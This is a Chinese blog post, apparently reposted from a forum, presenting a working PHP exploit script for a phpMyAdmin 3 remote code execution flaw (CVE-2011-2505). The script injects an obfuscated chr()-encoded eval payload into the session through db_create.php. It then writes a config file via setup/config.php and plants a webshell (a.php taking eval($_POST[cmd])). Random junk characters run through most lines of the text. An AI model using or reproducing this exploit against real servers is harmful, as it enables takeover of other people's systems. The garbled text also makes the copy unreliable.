最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
3 K0 t1 d" q ]/ |# `' O
" A) E% ~6 U6 r- m昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
+ G4 W" F( h. n! Q0 Y B/ D3 Q% X( J" l
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
6 `8 i( `" Q2 ^4 h6 s( u" p一是session.auto_start = 1;
: g4 U: E# {+ p& h二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。* Q: w+ B3 n; {" L m; `1 ]
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。* Q. B7 |6 {/ c
* Z+ Q5 l* l: e% Z+ @6 p6 O在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
, k2 f( L5 W, f+ r# v4 g8 P7 U
- R3 t1 H* P/ K7 Q( d! W于是写了这个php版本的exp,代码如下:
9 u( X# y; v+ E0 p9 X/ F; q) G2 \: @9 D) D5 A! U7 ~
#!/usr/bin/php1 A; i6 m3 r) X* r+ d8 N3 a2 k
<?php2 \1 C' W: I& d
print_r('
! ~4 z! R9 {8 \! g, `' z0 b& a: ?+---------------------------------------------------------------------------+
% g5 c' |4 f$ A2 |pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]8 J; q7 C, o* P6 b/ {
by oldjun(www.oldjun.com)
; x1 Q4 M+ \. T9 h; @* Swelcome to www.t00ls.net6 u7 G* X8 P% z
mail: oldjun@gmail.com& F5 { a! ^/ \5 a
Assigned CVE id: CVE-2011-25057 c" s' {9 `; V2 p- T
+---------------------------------------------------------------------------+
8 f8 t, O! O6 u1 N');
3 E9 E: w) r0 J5 M& Z: t$ ~& M
} c" U6 Q5 ?; m' k: V/**
& g0 b# E4 r8 J- |+ V- A5 E; J4 f * working when the directory:"config" exists and is writeable.
1 T/ R/ G2 Q0 f% F**/
- z/ g' x% V' k+ _. K 3 @9 j; v K# W2 o* {; V2 _
if ($argc < 3) {
0 f3 V( n2 t- C0 o( Y- p+ G print_r('
; n! O, m5 k0 `3 W1 J( n+---------------------------------------------------------------------------+5 g% d5 ~1 {7 H! f6 x
Usage: php '.$argv[0].' host path* K+ y. {0 x' _' K2 N5 j% f; C
host: target server (ip/hostname)
& L0 N( ^1 U r. w' \8 ]/ E: Wpath: path to pma3
4 n' s* Z: s9 T& X' Y& TExample:
- O$ H7 K) S5 v& }php '.$argv[0].' localhost /pma/) K8 W/ M9 c6 o; b
+---------------------------------------------------------------------------+6 \7 I7 V" V9 _; N8 p7 P/ L
');
: u& G! `$ f. Z- u2 Y exit;9 n) o* [2 _7 g( a, J4 S2 r
}1 Y$ F7 ~; T% \* D
& |6 |4 B% R4 N* b! w
$host = $argv[1];4 ^9 z* |; _& j9 d g l
$path = $argv[2];
" ]* C- ?. q0 Q. G' d, a$ b$ [# v- b7 a
/**
8 k+ p# {; d7 `0 A* x * Try to determine if the directory:"config" exists
& v& g% o0 u. x1 X. o4 l**/
8 }! A7 b# Z8 b' zecho "[+] Try to determine if the directory:config exists....\n";" P7 w6 M' z* k' L6 L
$returnstr=php_request('config/');
, j7 Q* z0 D) r4 v: Q) e- A0 b1 Nif(strpos($returnstr,'404')){
' {3 L, l/ a6 @0 s& f+ c3 e exit("[-] Exploit Failed! The directory:config do not exists!\n");5 c6 B, ?1 u' w- h
}
' Y, j% i& b/ {3 S }3 Y2 W) P2 ?% N" \! C3 l' a% T% s, q# s
/**: f* s) C3 N2 M
* Try to get token and sessionid
" g1 o) M7 H& Q4 Z6 E**/% q; D5 K7 @! w% Y5 N3 ?8 V
echo "[+] Try to get token and sessionid....\n";
8 Y$ X& ^ v: m$result=php_request('index.php');
8 D- O0 j2 E, Z4 O* U9 Opreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
3 i" h6 K1 @* C% ^5 H) t$token=$resp[3];
0 K7 N6 d/ R! p# c$sessionid=$resp[1];- z4 u9 G' D- |" P2 n
if($token && $sessionid){
* L, r% u% a0 Q' m; B echo "[+] token token\n";5 D: k! N: I; P# ?; B0 S8 @
echo "[+] Session ID sessionid\n";
: U, u+ ^9 w1 T" P6 Z}else{, y5 @0 K O, ~) F
exit("[-] Can't get token and Session ID,Exploit Failed!\n");
1 k$ S7 `* b0 o, w+ Y}
4 C1 A: h! D- P! V6 w0 \/ `
' p6 J3 r, e1 l/**+ i' p' o5 a2 Y& n- ]3 [0 Q! w
* Try to insert shell into session
3 `: }! o1 K' A; e**/; N3 `, ]- ~! Y* D& l
echo "[+] Try to insert shell into session....\n";
. {2 W) y2 D8 }% u5 ^; u- f! v$ o. lphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.: _& t7 H( H. ]& H* x" H$ H% V2 E
" T% U4 e# |' L/**
, n3 w" d9 i& M" e8 l * Try to create webshell
; l% R+ M( A! d9 c! M! W**/
2 h+ A2 ]) C Z) e* Q8 g: R( Oecho "[+] Try to create webshell....\n";: _) ^- {) L& |, M5 X
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
; e( M5 I8 N$ o+ b# L/**& r; b# T& W. z- y2 ~ S0 {) I1 e
* Try to check if the webshell was created successfully
A; Z0 S# R* H) P+ A A**/1 b* V7 T& W A7 o0 F
echo "[+] Try to check if the webshell was created successfully....\n";
; O o& y7 k$ q+ X$content=php_request('config/config.inc.php');+ I+ C1 z% I$ x2 y z
if(strpos($content,'t00ls')){
2 M9 b+ i) O. I# G7 H( [( q echo "[+] Congratulations! Expoilt successfully....\n";
* x" M% G: x9 E7 Z# I w echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";: I* b; V% J+ c4 i
}else{# T. i+ V( S6 {+ U! I# R
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n"); A$ J. T# W( U- g
}, B5 V+ k* g9 B6 ^" Q
4 n" [: u( }2 `% q! G% R3 b1 Pfunction php_request($url,$data='',$cookie=''){
& |& T7 j v) K. N global $host, $path;/ X, a3 V' m6 Q+ }
+ E c* k$ \1 U1 u$ A8 z" f0 C, U $method=$data?'POST':'GET';
8 X2 g0 J _4 v 5 p2 [5 M8 a+ h, q0 z4 G
$packet = $method." ".$path.$url." HTTP/1.1\r\n";
`9 Y: V% A+ `, R* j $packet .= "Accept: */*\r\n";: s, p! P3 p6 N* W# y2 z
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
. ? s* k: E$ S0 p- O8 W# G $packet .= "Host: $host\r\n";. H" ~3 ]1 _/ s: V/ \
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
: _" ?, K. [+ v* U5 V- Q) V" h; d $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";+ E* p6 u" V+ R! l# u7 z
$packet .= $cookie?"Cookie: $cookie\r\n":"";; }, K2 d# p, v
$packet .= "Connection: Close\r\n\r\n";
8 J1 `( j- I' |6 ^: a4 E% E1 D $packet .= $data?$data:"";
' N7 h: ` B) e# E( n3 }9 s/ n- v, Y1 v$ s$ b
$fp = fsockopen(gethostbyname($host), 80);+ l" W5 K, b9 b5 o8 l4 a: H. T% U. {
if (!$fp) {8 r! v8 G6 J6 l: f$ U
echo 'No response from '.$host; die;
* ~$ A0 l8 Q2 j" W+ U5 z }: W$ s0 i# @* B% ^% P8 ~5 R
fputs($fp, $packet);/ ], b8 r5 w6 v# Y* O7 D4 m4 F
: e* l5 H* N/ l6 d, m+ ^
$resp = '';
9 O% U" S' \) h! c# q
9 c' y- v5 A8 y while ($fp && !feof($fp))
- K! `4 Y& A) z1 {* a $resp .= fread($fp, 1024);5 Y! Y- J2 H$ D! C4 f
. i; S3 F R8 i4 c- d! A return $resp; ~& N+ }1 C/ R0 g& R- z- Q
}# D. X4 O/ \, Q5 b7 D7 B
. a u! H( I3 I# ~& P; Q7 e
?>
" C" G% f6 v! \1 o4 q. |